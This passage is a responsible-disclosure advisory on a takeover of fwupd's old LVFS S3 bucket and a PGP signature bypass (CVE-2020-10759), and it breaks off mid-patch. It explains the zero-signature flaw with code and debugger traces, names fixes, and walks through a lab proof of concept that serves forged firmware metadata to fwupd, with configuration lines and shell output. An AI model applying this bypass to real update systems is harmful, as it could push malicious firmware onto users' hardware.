There were two distinct vulnerabilities:
- A dangling S3 bucket that belonged to LVFS (Linux Vendor Firmware Service). The dangling bucket is referenced by the default configuration in
fwupd
version <1.0.6 (Released 2018) - A PGP signature verification bypass in all versions of
fwupd
(CVE-2020-10759)
Taken together, these vulnerabilities would have allowed an attacker who
claimed the S3 bucket to offer malicious firmware updates to Linux desktops
and servers running legacy versions of fwupd
.
The dangling bucket has been transferred to the control of the LVFS team.
The PGP verification bypass existed in versions of fwupd
prior to 1.4.0, and
in libjcat
used by fwupd
from 1.4.0 onwards. The vulnerability can be fixed
in fwupd
prior to 1.4.0 by backporting
https://github.com/fwupd/fwupd/commit/21f2d12, and in fwupd
from 1.4.0
onwards by using a libjcat
that includes
https://github.com/hughsie/libjcat/commit/839b89f
Although the dangling S3 bucket only affected fwupd
clients with a legacy
configuration, there is a large install base of these clients. For example,
Debian Stretch (currently "oldstable") still ships a version that references
the bucket. Over the course of 26 days, the S3 bucket received more than 2.5
million update requests from over 500,000 unique IP addresses.
The following graph shows the average number of update requests seen per hour, per week.
The following graph shows the total number of update requests seen per day.
gnome-software
typically refreshes fwupd
data once per day, which is
reflected by the 24-hour cyclical traffic pattern in the first graph. The
number of daily update requests in the second graph is ~100,000 excluding
weekends, and so I estimate that there are at least 100,000 unique fwupd
clients reaching out to the dangling S3 bucket.
Notwithstanding the dangling S3 bucket issue, the signature bypass vulnerability would also have been exploitable by an attacker who:
- Can compromise HTTPS connections to a
fwupd
metadata repository; or - Is in a privileged position within a public
fwupd
metadata repository (such as LVFS); or - Is in a privileged position within a local metadata mirror (such as one belonging to an enterprise)
Some Linux distributions, such as Red Hat Enterprise Linux (RHEL), reportedly do not ship with a configuration that includes the LVFS metadata repository.
fwupd
does not install firmware updates for users automatically - the user
must manually accept the updates.
Firmware installation can only be done using prescribed protocols implemented
within fwupd
itself. It is not possible for an update to execute custom code,
such as a proprietary flasher utility, during firmware installation. However,
the vulnerabilities do give the ability to provide malicious input to an XML
parser and .cab
file parser which run as root. These code paths were not
thoroughly examined.
Some hardware devices perform their own on-chip verification of firmware updates (based on a key held by the hardware vendor themselves) which could prevent the installation of some malicious firmware images.
- April 2015 -
fwupd
0.1.2 is released; includes the commit which introduces the PGP signature verification bypass vulnerability (https://github.com/fwupd/fwupd/commit/36a8890) - August 2016 -
fwupd
0.7.3 is released; includes the commit which instructs client machines to download firmware metadata from thelvfsbucket
S3 bucket (https://github.com/fwupd/fwupd/commit/96e1ea6) - March 2018 -
fwupd
1.0.6 is released; includes the commit which instructs client machines to move away from thelvfsbucket
S3 bucket (https://github.com/fwupd/fwupd/commit/4ee0836) - November 2018 - reports emerge that the
lvfsbucket
S3 bucket is returning 404 "file not found" errors (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=912414) - November 2019 - This is when the LVFS project claims that the S3 bucket was deleted
- April 2020 -
fwupd
1.4.0 is released; includes the commit which moves away from PGP signatures in favour ofjcat
signatures (https://github.com/fwupd/fwupd/commit/d5aab65) - May 2020 - I registered the dangling
lvfsbucket
S3 bucket - 28 May 2020 - the
fwupd
project is informed of the dangling S3 bucket and signature bypass vulnerabilities - 29 May 2020 - the
lvfsbucket
S3 bucket is transferred to thefwupd
project for safe-keeping - 30 May 2020 - the GnuPG project is contacted regarding the edge-case handling in
libgpgme
- 2 June 2020 - the GnuPG project responds - this will not be considered a bug in
libgpgme
- 5 June 2020 - Red Hat assigns CVE-2020-10759 for the signature verification bypass vulnerability
- 5 June 2020 - the
fwupd
signature verification bypass vulnerability is fixed (https://github.com/fwupd/fwupd/commit/21f2d12) - 5 June 2020 - the
libjcat
signature verification bypass vulnerability is fixed (https://github.com/hughsie/libjcat/commit/839b89f) - 9 June 2020 - this advisory is published
- 10 June 2020 - updates made to this advisory (Vendor References and GnuPG's documentation change)
- Red Hat:
- Fedora: https://bugzilla.redhat.com/show_bug.cgi?id=1844317
- Debian: https://security-tracker.debian.org/tracker/CVE-2020-10759
This advisory describes the following:
- What is LVFS?
- What is
fwupd
? - What is the typical data flow and security model for
fwupd
firmware updates? - The legacy LVFS S3 bucket takeover vulnerability
- The metadata signature verification bypass vulnerability (PGP) in
fwupd
<1.4.0 - The metadata signature verification bypass vulnerability (
jcat
) infwupd
>=1.4.0 - Appendices
- Appendix A - Theoretical attack scenarios for the S3 bucket takeover + signature verification bypass
- Appendix B - A PGP Signature Type Primer
- Appendix C - Whose fault is this anyway?
LVFS (Linux Vendor Firmware Service) is:
a secure portal which allows hardware vendors to upload firmware updates. [The] site is used by all major Linux distributions to provide metadata for clients such as fwupdmgr and GNOME Software.
The LVFS is a metadata repository. It contains:
- Descriptions of hardware, the firmware of which can be updated
- URLs of firmware update files (.cab files) which may be hosted either directly on LVFS or on a third-party website
- Cryptographic hashes of the .cab files
See https://lvfs.readthedocs.io/en/latest/metainfo.html for an example of a metadata entry.
The metadata is published as a file named firmware.xml.gz
. This file can be
verified using a detached PGP signature produced using the LVFS PGP key
(0x48A6D80E4538BAC2
) or a "jcat" bundle of signatures (PGP and PKCS7) which
will be described later in this advisory.
https://www.linuxfoundation.org/blog/2019/03/lvfs-project-announcement/ and https://youtu.be/u7A7VqQCpIE give excellent background on the LVFS project.
fwupd
is:
a simple daemon to allow session software to update device firmware on your local machine. It's designed for desktops, but also usable on phones and headless servers. You can either use a GUI software manager like GNOME Software to view and apply updates, the command-line tool or the system D-Bus interface directly.
(https://fwupd.org/lvfs/docs/users)
fwupd
is responsible for:
- Checking the PGP (
fwupd
<1.4.0) or jcat (fwupd
>=1.4.0) signature of the firmware metadata from repositories such as LVFS - Parsing the XML/AppStream firmware metadata
- Informing the user of firmware updates described in the metadata that are available for their hardware, such as BIOS or Thunderbolt controller updates
- Downloading, unpacking and flashing the firmware updates when requested by the user
The firmware installation occurs over a limited number of protocols implemented
within fwupd
, such as DFU or Fastboot
(https://fwupd.org/lvfs/docs/metainfo/protocol). Importantly, it is not
possible for an individual firmware update to run custom code on the user's
machine, such as a proprietary flasher utility.
In a nutshell, the data flow and security model appears to be as follows:
- Within LVFS
- Firmware vendors apply to LVFS and are granted permission to upload firmware metadata for certain hardware
vendor-id
value/s (https://blogs.gnome.org/hughsie/2019/12/11/improving-the-security-model-of-the-lvfs/) - Firmware vendors submit Firmware metadata and .cab files to LVFS
- LVFS collates the metadata for all vendors into one file (
firmware.xml.gz
) which includes cryptographic hashes of each .cab file - LVFS signs this file to produce a detached PGP signature (
firmware.xml.gz.asc
) and jcat (PGP && PKCS7) signature (firmware.xml.gz.jcat
)
- Firmware vendors apply to LVFS and are granted permission to upload firmware metadata for certain hardware
- On client machines
fwupdmgr
orgnome-software
run as non-root client utilitiesfwupd
runs as a root system service- The client utility periodically downloads:
- The
firmware.xml.gz
file, as well as: fwupd
<1.4.0 -firmware.xml.gz.asc
(e.g. https://github.com/fwupd/fwupd/blob/1.3.9/src/fu-util.c#L1266-L1280)fwupd
>= 1.4.0 -firmware.xml.gz.jcat
(e.g. https://github.com/fwupd/fwupd/blob/1.4.1/src/fu-util.c#L1295-L1315)
- The
- The client utility sends the file descriptor of each file to
fwupd
via D-Bus to do an "UpdateMetadata" operation (e.g. https://github.com/fwupd/fwupd/blob/1.4.1/libfwupd/fwupd-client.c#L1420-L1466) fwupd
checks the detached PGP (e.g. https://github.com/fwupd/fwupd/blob/1.3.9/src/fu-keyring-gpg.c#L279-L316) or jcat signature- This establishes the anchor of trust. The metadata contains cryptographic hashes (e.g. SHA) of individual firmware updates, and the metadata as a whole is signed by LVFS. This pattern (Signed metadata containing individual checksums) is similar to the
apt
model (https://wiki.debian.org/SecureApt#Secure_apt_groundwork:_checksums)
- This establishes the anchor of trust. The metadata contains cryptographic hashes (e.g. SHA) of individual firmware updates, and the metadata as a whole is signed by LVFS. This pattern (Signed metadata containing individual checksums) is similar to the
- Assuming the signature verification succeeds,
fwupd
parses the XML metadata using "a subset of the AppStream component specification" (https://lvfs.readthedocs.io/en/latest/metainfo.html) fwupd
scans the system's connected devices and considers the firmware updates available from LVFSfwupd
notifies the client utility of available firmware updates for the system's connected devices- The user chooses to install the firmware updates via the client utility
- The client utility downloads the .cab file
fwupd
verifies the .cab file's cryptographic hash against the hash infirmware.xml.gz
, unpacks it, and flashes the firmware
To put it another way:
firmware.xml.gz
is signed asfirmware.xml.gz.asc
orfirmware.xml.gz.jcat
firmware.xml.gz
describes the updates available for various hardware devices, provides a download URL for each update (.cab
file), and provides cryptographic hashes of the.cab
files- The firmware
.cab
files contain flashable firmware update files - If a firmware
.cab
file's hash matches the hash listed infirmware.xml.gz
, and the signature offirmware.xml.gz
is correct, then the.cab
file can be considered trustworthy
For more information on this security model, see https://blogs.gnome.org/hughsie/2016/05/24/lvfs-technical-white-paper/
Consider the case in which an attacker controls the contents of
firmware.xml.gz
, and can sign the file or bypass the signature verification
process. The attacker could advertise malicious firmware updates for various
hardware products. If a user chooses to install a malicious update, the
attacker could compromise the user's hardware, violating the integrity of the
user's system.
Vulnerability: Legacy LVFS S3 bucket takeover (https://s3.amazonaws.com/lvfsbucket/)
Releases of fwupd
ship with URLs of firmware repositories, such as LVFS.
These are the URLs from which information about firmware updates should be
downloaded.
- From version 0.7.3 to 1.0.5, the LVFS URL was https://s3.amazonaws.com/lvfsbucket/downloads/firmware.xml.gz
- From version 1.0.6 onwards, the LVFS URL was changed to https://cdn.fwupd.org/downloads/firmware.xml.gz
This change occurred in commit https://github.com/fwupd/fwupd/commit/4ee0836 (28 February 2018) to allow the LVFS project to move from Amazon S3 to an alternative CDN.
Some Linux distributions (e.g. Red Hat Enterprise Linux) reportedly do not ship
fwupd
configured to use the LVFS metadata URL.
It was reported to the project in November 2018
(fwupd/fwupd#831) that downloads from the old URL
were failing with 404 errors. The project's solution was for users to update
fwupd
; or nag their distro to backport a fix. A bug against Debian Stretch
(which is currently "oldstable") was opened in October 2018 at
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=912414 and is unresolved at
the time of writing.
After the migration away from the Amazon S3 hosting arrangement, the LVFS
project deleted the lvfsbucket
S3 bucket. The LVFS project informed me
during the disclosure process that the S3 bucket was deleted in November
2019.
I observed the following in May 2020:
$ curl https://s3.amazonaws.com/lvfsbucket/downloads/firmware.xml.gz.asc
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>lvfsbucket</BucketName> [... SNIP ...]
With the bucket having been deleted, it was free for registration by any Amazon
AWS customer. The user who registered the bucket would then receive the
phone-home update requests from users running legacy fwupd
clients.
I registered the bucket in May 2020, and enabled S3 access logging on the bucket (https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerLogs.html)
Over the course of 26 days, the S3 bucket received more than 2.5 million update requests from over 500,000 unique IP addresses.
Note that, during the time in which the I controlled the S3 bucket, no content was published from the bucket. The bucket returned "403 Forbidden" for every request made to it.
Control of the bucket gives us the following primitives:
- We can provide arbitrary
firmware.xml.gz
metadata files to legacyfwupd
clients - We can provide arbitrary
firmware.xml.gz.asc
signature files to legacyfwupd
clients
To make use of these primitives, we would need to sign firmware.xml.gz
using
a trusted LVFS key; or we would need a way to bypass the PGP signature checking
in fwupd
.
The dangling S3 bucket has been transferred to the LVFS project. The LVFS
project should maintain control of this bucket until legacy versions of fwupd
are no longer installed in the field. The bucket should not be deleted until it
is safe to do so.
The PGP-based metadata signature verification in fwupd
<1.4.0 is
vulnerable and can be reliably bypassed. Any non-detached signature signed
by any key will defeat the verification logic.
Given this vulnerability, an attacker who claimed the above dangling S3 bucket,
or can otherwise put themselves between fwupd
clients and a metadata
repository, could have provided signed malicious firmware update information to
fwupd
clients.
The vulnerability relies on the difference between detached and non-detached PGP signatures. A primer on PGP signature types is provided in Appendix A.
To be taken as an example, the signature verification code is as follows in
fwupd
1.3.9
/* load file data */
// [SNIP - read the metadata data into 'data']
// [SNIP - read the metadata signature into 'sig']
/* verify */
rc = gpgme_op_verify (self->ctx, sig, data, NULL);
if (rc != GPG_ERR_NO_ERROR) {
g_set_error (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"failed to verify data: %s",
gpgme_strerror (rc));
return NULL;
}
/* verify the result */
result = gpgme_op_verify_result (self->ctx);
if (result == NULL) {
g_set_error_literal (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"no result record from libgpgme");
return NULL;
}
/* look at each signature */
for (s = result->signatures; s != NULL ; s = s->next ) {
g_debug ("returned signature fingerprint %s", s->fpr);
if (!fu_keyring_gpg_check_signature (s, error))
return NULL;
/* save details about the key for the result */
if ((gint64) s->timestamp > timestamp_newest) {
timestamp_newest = (gint64) s->timestamp;
g_string_assign (authority_newest, s->fpr);
}
}
return FU_KEYRING_RESULT (g_object_new (FU_TYPE_KEYRING_RESULT,
"timestamp", timestamp_newest,
"authority", authority_newest->str,
NULL));}
(https://github.com/fwupd/fwupd/blob/1.3.9/src/fu-keyring-gpg.c#L255-L316)
Though this code has changed over time, all versions follow the same general pattern.
The verification flow is as follows:
- The signature verification is done by
gpgme_op_verify()
which is provided bylibgpgme
and is documented at https://www.gnupg.org/documentation/manuals/gpgme/Verify.html- If
rc = gpgme_op_verify()
fails (i.e. doesn't returnGPG_ERR_NO_ERROR
) the verification is failed
- If
- Details about the verification are fetched using
gpgme_op_verify_result()
- If
result = gpgme_op_verify_result()
fails (i.e. returnsNULL
) the verification is failed
- If
- The signatures within
result
are looped over.- For each signature, if
fu_keyring_gpg_check_signature()
is unhappy (e.g. the public key was unknown; the signature was bad; the signing key is expired) the verification is failed
- For each signature, if
- If we get this far, the verification is considered successful
This is arguably a fragile design. A potential attack vector would be to:
- Provide some
data
(xml) andsig
(asc) data which:- Causes
gpgme_op_verify()
(step 1 above) to succeed; and - Causes
gpgme_op_verify_result()
(step 2 above) to succeed and to return aresult
with zero signatures
- Causes
- Due to the fact that there are zero signatures, the
for
loop (step 3 above) will be skipped entirely, and sofu_keyring_gpg_check_signature()
will not be called, which allows us to skip the fine-grained signature checking - The function will return "Verification successful" (step 4 above)
We are able to execute this attack due to an edge-case in GPGme (GnuPG Made Easy) when it tries to verify a normal signature as if it were a detached signature.
A more robust design would be to:
- Explicitly check that
result->signatures
is non-zero (i.e. at least one signature was observed bygpgme_op_verify()
); and/or - Invert the individual signature verification logic. Currently, the code checks to ensure that there are zero "bad" signatures. It would be safer to instead ensure that there is at least one "good" signature. This is the approach taken by
flatpak
https://github.com/flatpak/flatpak/blob/1.7.2/common/flatpak-oci-registry.c#L2073-L2085)
GPGme is provided by the GnuPG project. It is a library that wraps the gpg
command-line utility and exposes GnuPG functionality to software developers.
fwupd
uses two GPGme functions:
gpgme_op_verify()
which performs GnuPG signature verificationgpgme_op_verify_result()
which exposes information about a signature verification
The function signature of gpgme_op_verify()
is as follows:
gpgme_error_t gpgme_op_verify (gpgme_ctx_t ctx,
gpgme_data_t sig,
gpgme_data_t signed_text,
gpgme_data_t plain)
gpgme_op_verify()
expects to be called as follows:
- When it is verifying a detached PGP signature (as is usually the case for
fwupd
):sig
should be the detached signaturesigned_text
should be the data that was signedplain
should beNULL
- When it is verifying a normal or cleartext PGP signature:
sig
should be the normal or cleartext PGP signaturesigned_text
should beNULL
plain
should be a "writable data object that will contain the plaintext after successful verification"
Though fwupd
normally uses gpgme
to verify a detached PGP signature,
under adversarial conditions this is not guaranteed - an attacker can provide
any data for the signature file.
gpgme_op_verify()
exhibits interesting behaviour when given:
- A normal (i.e. non-detached) signature as
sig
- Any data as
signed_text
(which is a hint togpgme
thatsig
should be detached) - Anything as
plain
Take, as an example, fwupd
1.3.9-4 as is currently packaged in Debian Unstable.
If it is given a detached signature for which fwupd
does not know the
signing key, the verification code correctly rejects the signature as
follows:
/* verify */
rc = gpgme_op_verify (self->ctx, sig, data, NULL);
if (rc != GPG_ERR_NO_ERROR) {
g_set_error (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"failed to verify data: %s",
gpgme_strerror (rc));
return NULL;
}
/* verify the result */
result = gpgme_op_verify_result (self->ctx);
if (result == NULL) {
g_set_error_literal (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"no result record from libgpgme");
return NULL;
}
/* [+] DEBUG TRACE
gdb-peda$ print *result
$1 = {
signatures = 0x5593c66668b0,
file_name = 0x0,
is_mime = 0x0,
_unused = 0x0
}
gdb-peda$ print *result->signatures
$2 = {
next = 0x0,
summary = GPGME_SIGSUM_KEY_MISSING,
fpr = 0x5593c666d290 "88C202B687A57ED3D0109BAFAC92351AF277A464",
status = 0x9,
notations = 0x0,
timestamp = 0x5ecf199e,
exp_timestamp = 0x0,
wrong_key_usage = 0x0,
pka_trust = 0x0,
chain_model = 0x0,
is_de_vs = 0x0,
_unused = 0x0,
validity = GPGME_VALIDITY_UNKNOWN,
validity_reason = 0x0,
pubkey_algo = GPGME_PK_RSA,
hash_algo = GPGME_MD_SHA512,
pka_address = 0x0,
key = 0x0
}
*/
/* look at each signature */
for (s = result->signatures; s != NULL ; s = s->next ) {
g_debug ("returned signature fingerprint %s", s->fpr);
if (!fu_keyring_gpg_check_signature (s, error))
return NULL;
/* save details about the key for the result */
if ((gint64) s->timestamp > timestamp_newest) {
timestamp_newest = (gint64) s->timestamp;
g_string_assign (authority_newest, s->fpr);
}
}
return FU_KEYRING_RESULT (g_object_new (FU_TYPE_KEYRING_RESULT,
"timestamp", timestamp_newest,
"authority", authority_newest->str,
NULL));}
The call to gpgme_op_verify_result()
returns a list of one signature, for
which we can see the summary is GPGME_SIGSUM_KEY_MISSING
which will make
fu_keyring_gpg_check_signature()
unhappy in the fine-grained checking for
loop.
Compare this to what happens if we give a non-detached signature for which
fwupd
still does not know the signing key. The verification code
incorrectly accepts the signature as follows:
/* verify */
rc = gpgme_op_verify (self->ctx, sig, data, NULL);
if (rc != GPG_ERR_NO_ERROR) {
g_set_error (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"failed to verify data: %s",
gpgme_strerror (rc));
return NULL;
}
/* verify the result */
result = gpgme_op_verify_result (self->ctx);
if (result == NULL) {
g_set_error_literal (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"no result record from libgpgme");
return NULL;
}
/* [+] DEBUG TRACE
gdb-peda$ print *result
$3 = {
signatures = 0x0,
file_name = 0x0,
is_mime = 0x0,
_unused = 0x0
}
*/
/* look at each signature */
for (s = result->signatures; s != NULL ; s = s->next ) {
g_debug ("returned signature fingerprint %s", s->fpr);
if (!fu_keyring_gpg_check_signature (s, error))
return NULL;
/* save details about the key for the result */
if ((gint64) s->timestamp > timestamp_newest) {
timestamp_newest = (gint64) s->timestamp;
g_string_assign (authority_newest, s->fpr);
}
}
return FU_KEYRING_RESULT (g_object_new (FU_TYPE_KEYRING_RESULT,
"timestamp", timestamp_newest,
"authority", authority_newest->str,
NULL));}
The call to gpgme_op_verify_result()
still succeeds but it returns a list of
zero signatures.
This will cause the fine-grained checking for
loop to be bypassed, and so
fu_keyring_gpg_check_signature()
will not be called at all. The verification
function will incorrectly return a successful result.
As an aside, during the disclosure process with the fwupd
project, it was
noted by the project that rollback/replay protections added in
https://github.com/fwupd/fwupd/commit/f69a4810 should have prevented this
attack from working. In a zero-signature case, such as the case we can trigger,
the verification process will return a default timestamp
value of 0 to the
calling function, and the calling function should reject this value as a
rollback attempt.
However, at
https://github.com/fwupd/fwupd/commit/f69a4810#diff-300ca38c94199c9239dc835920e466ecR1550
there is a specific carve-out for cases where the verification function returns
a timestamp
of 0. This defeats the rollback protection for this specific
case.
This is not, strictly speaking, a vulnerability in the rollback protection.
Putting the signature verification bypass aside, for an attacker to attempt a
rollback attack, they will be replaying old metadata signed by LVFS. This
replayed signature will always have a timestamp associated with it, and so an
attacker should not be able to trigger a rollback attack with a malicious
timestamp
of 0.
This anti-rollback bug was fixed via fwupd/fwupd#2150 during the disclosure process. It breaks the exploit described in this advisory, and probably breaks any exploit targeting this vulnerability. However, this anti-rollback fix should not be considered to be a root-cause fix for the bypass vulnerability.
This signature bypass can be demonstrated to be exploitable on:
fwupd
0.7.4-2 (As packaged in Debian Stretch which is currently "oldstable")fwupd
1.3.9-4 (As packaged in Debian Sid "unstable")
To be absolutely clear - this Proof of Concept was never performed using the
real lvfsbucket
bucket. It was done in an offline environment by tweaking
fwupd
configuration files.
The following Proof of Concept can be executed in a lab by configuring fwupd
to point at a server you control. Importantly, fwupd
will still expect the
metadata to be signed by LVFS. This is understood to be a common deployment
pattern, allowing organisations to host an internal cache of the LVFS
repository while still ensuring that updates are signed by LVFS.
To do so, edit:
/etc/fwupd.conf
on legacy versions offwupd
(Set theDownloadURI
value)/etc/fwupd/remotes.d/lvfs.conf
on modern versions offwupd
(Set theMetadataURI
value)
The Proof of Concept uses a Flask app. The source code is available at https://github.com/justinsteven/CVE-2020-10759-poc
The Flask app presents the following endpoints:
/detached_unknown_key
/firmware.xml.gz
/firmware.xml.gz.asc
- returns a detached PGP signature which is signed by a fresh throwaway PGP key. Causesfwupd
to throw an error ("No public key available")
/detached_bad_signature
/firmware.xml.gz
/firmware.xml.gz.asc
- downloads a genuine detached PGP signature from LVFS and returns it. Causesfwupd
to throw an error ("Invalid signature")
/bypass
/firmware.xml.gz
/firmware.xml.gz.asc
- returns a regular PGP signature, signed by a fresh throwaway PGP key. Triggers the bypass infwupd
, which causes the XML file to be accepted.
In all cases, the firmware.xml.gz
endpoint returns a dummy XML document.
fwupd
v0.7.4-2 is installed. By default it points at the dangling S3 bucket.
$ dpkg -l fwupd
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-=================================
ii fwupd 0.7.4-2 amd64 Firmware update daemon
When the DownloadURI
setting is pointed at the "Detached Unknown Key"
endpoint, we get a "Unknown key" error when refreshing the metadata:
$ grep -P '^DownloadURI' /etc/fwupd.conf
DownloadURI=http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz
$ fwupdmgr refresh
failed to update metadata: Could not check signature 'FD1901F7F13C838C' as no public key
When the DownloadURI
setting is pointed at the "Detached Bad Signature"
endpoint, we get an "Invalid signature" error when refreshing the metadata:
$ grep -P '^DownloadURI' /etc/fwupd.conf
DownloadURI=http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz
$ fwupdmgr refresh
failed to update metadata: '48A6D80E4538BAC2' is not a valid signature
Finally, when the DownloadURI
setting is pointed at the "Bypass" endpoint,
the signature verification succeeds and the XML parser takes over (Which kicks
out an error due to the malformed dummy XML we're serving up):
$ grep -P '^DownloadURI' /etc/fwupd.conf
DownloadURI=http://172.17.24.1:4444/bypass/firmware.xml.gz
$ fwupdmgr refresh
failed to update metadata: Failed to parse XML: Error on line 2: Entity name 'fwupd_poc' is not known
fwupd
v1.3.9 is installed. Note that by default it does not point at the
dangling S3 bucket.
$ fwupdmgr --version
client version: 1.3.9
compile-time dependency versions
gusb: 0.3.4
efivar: 37
daemon version: 1.3.9
When the MetadataURI
setting is pointed at the "Detached Unknown Key"
endpoint, we get a "Unknown key" error when refreshing the metadata:
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz
$ fwupdmgr refresh
Fetching metadata http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz
Downloading… [***************************************]
Fetching signature http://172.17.24.1:4444/detached_unknown_key/firmware.xml.gz.asc
Failed to update metadata for lvfs: Could not check signature '7A0A773C9258EC06835050AAB678A713501454FF' as no public key
When the MetadataURI
setting is pointed at the "Detached Bad Signature"
endpoint, we get an "Invalid signature" error when refreshing the metadata:
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz
$ fwupdmgr refresh
Fetching metadata http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz
Downloading… [***************************************]
Fetching signature http://172.17.24.1:4444/detached_bad_signature/firmware.xml.gz.asc
Failed to update metadata for lvfs: '48A6D80E4538BAC2' is not a valid signature
Finally, when the MetadataURI
setting is pointed at the "Bypass" endpoint,
the signature verification succeeds and the XML is honoured. We find that the
XML has been installed in /var/lib/fwupd/
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/bypass/firmware.xml.gz
$ fwupdmgr refresh
Fetching metadata http://172.17.24.1:4444/bypass/firmware.xml.gz
Downloading… [***************************************]
Fetching signature http://172.17.24.1:4444/bypass/firmware.xml.gz.asc
Successfully downloaded new metadata: 0 local devices supported
$ ls -la /var/lib/fwupd/remotes.d/lvfs/metadata.xml.gz
-rw-r--r-- 1 root root 68 May 15 16:52 /var/lib/fwupd/remotes.d/lvfs/metadata.xml.gz
$ zcat /var/lib/fwupd/remotes.d/lvfs/metadata.xml.gz
<?xml version="1.0" encoding="ISO-8859-1"?>
<poc>&fwupd_poc;</poc>
To offer a firmware update, we need to populate firmware.xml.gz
with metadata entries that:
- Pertain to a hardware device UUID installed on the system
- Advertise a firmware version number greater than the version already installed on the device
- Provide a sane "UpdateProtocol" for the device
- Provide a URL of a
.cab
file and its corresponding cryptographic hash
To do so, two new endpoints were added to the Flask app to dynamically generate
the signed metadata and corresponding .cab
file:
/poc/uuid/<UUID>/version/<VERSION>/updateprotocol/<UPDATE_PROTOCOL>/firmware.xml.gz
- Returns XML metadata that advertises a firmware for the given
UUID
,VERSION
andUPDATE_PROTOCOL
parameters
- Returns XML metadata that advertises a firmware for the given
/poc/uuid/<UUID>/version/<VERSION>/updateprotocol/<UPDATE_PROTOCOL>/poc.cab
- Returns a
.cab
file containing an empty firmware file for the givenUUID
,VERSION
andUPDATE_PROTOCOL
parameters
- Returns a
On my machine, I found that I could publish an update for my "ThinkPad Thunderbolt 3 Dock USB Audio" device using the following parameters:
- UUID: 0922fea5-b1c1-5072-bc18-e178bbedce1
- Version: 1.337 (Debian Stretch) or 13-37-00 (Debian Sid)
- Update Protocol: com.synaptics.cxaudio
fwupd
v0.7.4-2 is installed. By default it points at the dangling S3 bucket.
$ dpkg -l fwupd
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-=================================
ii fwupd 0.7.4-2 amd64 Firmware update daemon
When we do a refresh
we can see our malicious firmware update showing as available:
$ grep -P '^DownloadURI' /etc/fwupd.conf
DownloadURI=http://172.17.24.1:4444/poc/uuid/0922fea5-b1c1-5072-bc18-e178bbedce19/version/1.337/updateprotocol/com.synaptics.cxaudio/firmware.xml.gz
$ fwupdmgr refresh
$ fwupdmgr get-updates
ThinkPad Thunderbolt 3 Dock USB Audio has firmware updates:
ID: com.hacker.firmware
GUID: d66bf84b-c3ba-508c-bc55-0d445413d3d4
GUID: 0922fea5-b1c1-5072-bc18-e178bbedce19
Update Version: 1.337
Update Checksum: 00c3342aeb4276b9b0c4fb7d853fd57aadb27cb8
Update Checksum Type: sha1
Update Location: http://172.17.24.1:4444/poc/uuid/0922fea5-b1c1-5072-bc18-e178bbedce19/version/1.337/updateprotocol/com.synaptics.cxaudio/poc.cab
Update Description: Totally not malicious ;)
It is also shown as available by gnome-software
:
fwupd
v1.3.9 is installed. Note that by default it does not point at the
dangling S3 bucket.
$ fwupdmgr --version
client version: 1.3.9
compile-time dependency versions
gusb: 0.3.4
efivar: 37
daemon version: 1.3.9
When we do a refresh
we can see our malicious firmware update showing as available:
$ grep -P '^MetadataURI' /etc/fwupd/remotes.d/lvfs.conf
MetadataURI=http://172.17.24.1:4444/poc/uuid/0922fea5-b1c1-5072-bc18-e178bbedce19/version/13-37-00/updateprotocol/com.synaptics.cxaudio/firmware.xml.gz
$ fwupdmgr refresh --force
Fetching metadata http://172.17.24.1:4444/poc/uuid/0922fea5-b1c1-5072-bc18-e178bbedce19/version/13-37-00/updateprotocol/com.synaptics.cxaudio/firmware.xml.gz
Downloading… [***************************************]
Fetching signature http://172.17.24.1:4444/poc/uuid/0922fea5-b1c1-5072-bc18-e178bbedce19/version/13-37-00/updateprotocol/com.synaptics.cxaudio/firmware.xml.gz.asc
Successfully downloaded new metadata: 1 local device supported
$ fwupdmgr get-updates
• SVGA II Adapter has no available firmware updates
VirtualBox
│
└─ThinkPad Thunderbolt 3 Dock USB Audio:
│ Device ID: 54f0d9041b6c5438c7ff825f5139559c5ca1b222
│ Summary: CX20985 USB audio device
│ Current version: 04-0E-83
│ Bootloader Version: 02.00.00.00
│ Vendor: Lenovo (USB:0x17EF)
│ Install Duration: 3 seconds
│ GUIDs: 0922fea5-b1c1-5072-bc18-e178bbedce19
│ 1d987aa4-e89a-5bd3-b78c-5ec8bdc6e213
│ d66bf84b-c3ba-508c-bc55-0d445413d3d4
│ 7083139e-9fec-5fc3-9e1a-a0fb3ae1bccf
│ Device Flags: • Updatable
│ • Supported on remote server
│
└─TotallyNotMalicious:
New version: 13-37-00
Remote ID: lvfs
Summary: This is fine
License: Unknown
Duration: 2 minutes
Flags: is-upgrade
Description: Totally not malicious ;)
It is also shown as available by gnome-software
:
Check that gpgme_op_verify_result()
returns a result
with a non-zero number
of signatures.
/* verify the result */
result = gpgme_op_verify_result (self->ctx);
if (result == NULL) {
g_set_error_literal (error,
FWUPD_ERROR,
FWUPD_ERROR_INTERNAL,
"no result record from libgpgme");
return NULL;
}
+ /* validate the result */
+ if (result->signatures == NULL) {
+ g_set_error_literal (error,
+ FWUPD_ERROR,
+ FWUPD_ERROR_INTERNAL,
